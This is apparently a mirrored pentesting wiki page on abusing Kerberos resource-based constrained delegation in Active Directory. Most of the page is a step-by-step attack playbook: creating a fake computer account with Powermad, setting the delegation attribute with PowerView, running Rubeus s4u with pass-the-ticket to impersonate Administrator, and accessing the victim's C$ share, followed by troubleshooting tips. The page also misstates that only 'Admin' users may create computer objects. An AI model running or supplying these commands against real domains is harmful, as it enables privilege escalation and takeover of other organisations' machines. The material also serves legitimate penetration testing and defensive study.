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Resource-based Constrained Delegation

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LogoWebsec | Uw Cybersecurity Specialist

Basics of Resource-based Constrained Delegation

This is similar to the basic Constrained Delegation but instead of giving permissions to an object to impersonate any user against a service. Resource-based Constrain Delegation sets in the object who is able to impersonate any user against it.

In this case, the constrained object will have an attribute called msDS-AllowedToActOnBehalfOfOtherIdentity with the name of the user that can impersonate any other user against it.

Another important difference from this Constrained Delegation to the other delegations is that any user with write permissions over a machine account (GenericAll/GenericWrite/WriteDacl/WriteProperty/etc) can set the msDS-AllowedToActOnBehalfOfOtherIdentity (In the other forms of Delegation you needed domain admin privs).

New Concepts

Back in Constrained Delegation it was told that the TrustedToAuthForDelegation flag inside the userAccountControl value of the user is needed to perform a S4U2Self. But that's not completely truth. The reality is that even without that value, you can perform a S4U2Self against any user if you are a service (have a SPN) but, if you have TrustedToAuthForDelegation the returned TGS will be Forwardable and if you don't have that flag the returned TGS won't be Forwardable.

However, if the TGS used in S4U2Proxy is NOT Forwardable trying to abuse a basic Constrain Delegation it won't work. But if you are trying to exploit a Resource-Based constrain delegation, it will work (this is not a vulnerability, it's a feature, apparently).

Attack structure

If you have write equivalent privileges over a Computer account you can obtain privileged access in that machine.

Suppose that the attacker has already write equivalent privileges over the victim computer.

  1. The attacker compromises an account that has a SPN or creates one (“Service A”). Note that any Admin User without any other special privilege can create up until 10 Computer objects (MachineAccountQuota) and set them a SPN. So the attacker can just create a Computer object and set a SPN.

  2. The attacker abuses its WRITE privilege over the victim computer (ServiceB) to configure resource-based constrained delegation to allow ServiceA to impersonate any user against that victim computer (ServiceB).

  3. The attacker uses Rubeus to perform a full S4U attack (S4U2Self and S4U2Proxy) from Service A to Service B for a user with privileged access to Service B.

    1. S4U2Self (from the SPN compromised/created account): Ask for a TGS of Administrator to me (Not Forwardable).

    2. S4U2Proxy: Use the not Forwardable TGS of the step before to ask for a TGS from Administrator to the victim host.

    3. Even if you are using a not Forwardable TGS, as you are exploiting Resource-based constrained delegation, it will work.

  4. The attacker can pass-the-ticket and impersonate the user to gain access to the victim ServiceB.

To check the MachineAccountQuota of the domain you can use:

Get-DomainObject -Identity "dc=domain,dc=local" -Domain domain.local | select MachineAccountQuota

Attack

Creating a Computer Object

You can create a computer object inside the domain using powermad:

import-module powermad
New-MachineAccount -MachineAccount SERVICEA -Password $(ConvertTo-SecureString '123456' -AsPlainText -Force) -Verbose

# Check if created
Get-DomainComputer SERVICEA

Configuring Resource-based Constrained Delegation

Using activedirectory PowerShell module

Set-ADComputer $targetComputer -PrincipalsAllowedToDelegateToAccount SERVICEA$ #Assing delegation privileges
Get-ADComputer $targetComputer -Properties PrincipalsAllowedToDelegateToAccount #Check that it worked

Using powerview

$ComputerSid = Get-DomainComputer FAKECOMPUTER -Properties objectsid | Select -Expand objectsid
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$ComputerSid)"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
Get-DomainComputer $targetComputer | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes}

#Check that it worked
Get-DomainComputer $targetComputer -Properties 'msds-allowedtoactonbehalfofotheridentity'

msds-allowedtoactonbehalfofotheridentity
----------------------------------------
{1, 0, 4, 128...}

Performing a complete S4U attack

First of all, we created the new Computer object with the password 123456, so we need the hash of that password:

.\Rubeus.exe hash /password:123456 /user:FAKECOMPUTER$ /domain:domain.local

This will print the RC4 and AES hashes for that account. Now, the attack can be performed:

rubeus.exe s4u /user:FAKECOMPUTER$ /aes256:<aes256 hash> /aes128:<aes128 hash> /rc4:<rc4 hash> /impersonateuser:administrator /msdsspn:cifs/victim.domain.local /domain:domain.local /ptt

You can generate more tickets just asking once using the /altservice param of Rubeus:

rubeus.exe s4u /user:FAKECOMPUTER$ /aes256:<AES 256 hash> /impersonateuser:administrator /msdsspn:cifs/victim.domain.local /altservice:krbtgt,cifs,host,http,winrm,RPCSS,wsman,ldap /domain:domain.local /ptt

Note that users has an attribute called "Cannot be delegated". If a user has this attribute to True, you won't be able to impersonate him . This property can be seen inside bloodhound.

Accessing

The last command line will perform the complete S4U attack and will inject the TGS from Administrator to the victim host in memory. In this example it was requested a TGS for the CIFS service from Administrator, so you will be able to access C$:

ls \\victim.domain.local\C$

Abuse different service tickets

Lear about the available service tickets here.

Kerberos Errors

  • KDC_ERR_ETYPE_NOTSUPP: This means that kerberos is configured to not use DES or RC4 and you are supplying just the RC4 hash. Supply to Rubeus at least the AES256 hash (or just supply it the rc4, aes128 and aes256 hashes). Example: [Rubeus.Program]::MainString("s4u /user:FAKECOMPUTER /aes256:CC648CF0F809EE1AA25C52E963AC0487E87AC32B1F71ACC5304C73BF566268DA /aes128:5FC3D06ED6E8EA2C9BB9CC301EA37AD4 /rc4:EF266C6B963C0BB683941032008AD47F /impersonateuser:Administrator /msdsspn:CIFS/M3DC.M3C.LOCAL /ptt".split())

  • KRB_AP_ERR_SKEW: This means that the time of the current computer is different from the one of the DC and kerberos is not working properly.

  • preauth_failed: This means that the given username + hashes aren't working to login. You may have forgotten to put the "$" inside the username when generating the hashes (.\Rubeus.exe hash /password:123456 /user:FAKECOMPUTER$ /domain:domain.local)

  • KDC_ERR_BADOPTION: This may mean:

    • The user you are trying to impersonate cannot access the desired service (because you cannot impersonate it or because it doesn't have enough privileges)

    • The asked service doesn't exist (if you ask for a ticket for winrm but winrm isn't running)

    • The fakecomputer created has lost it's privileges over the vulnerable server and you need to given them back.

References

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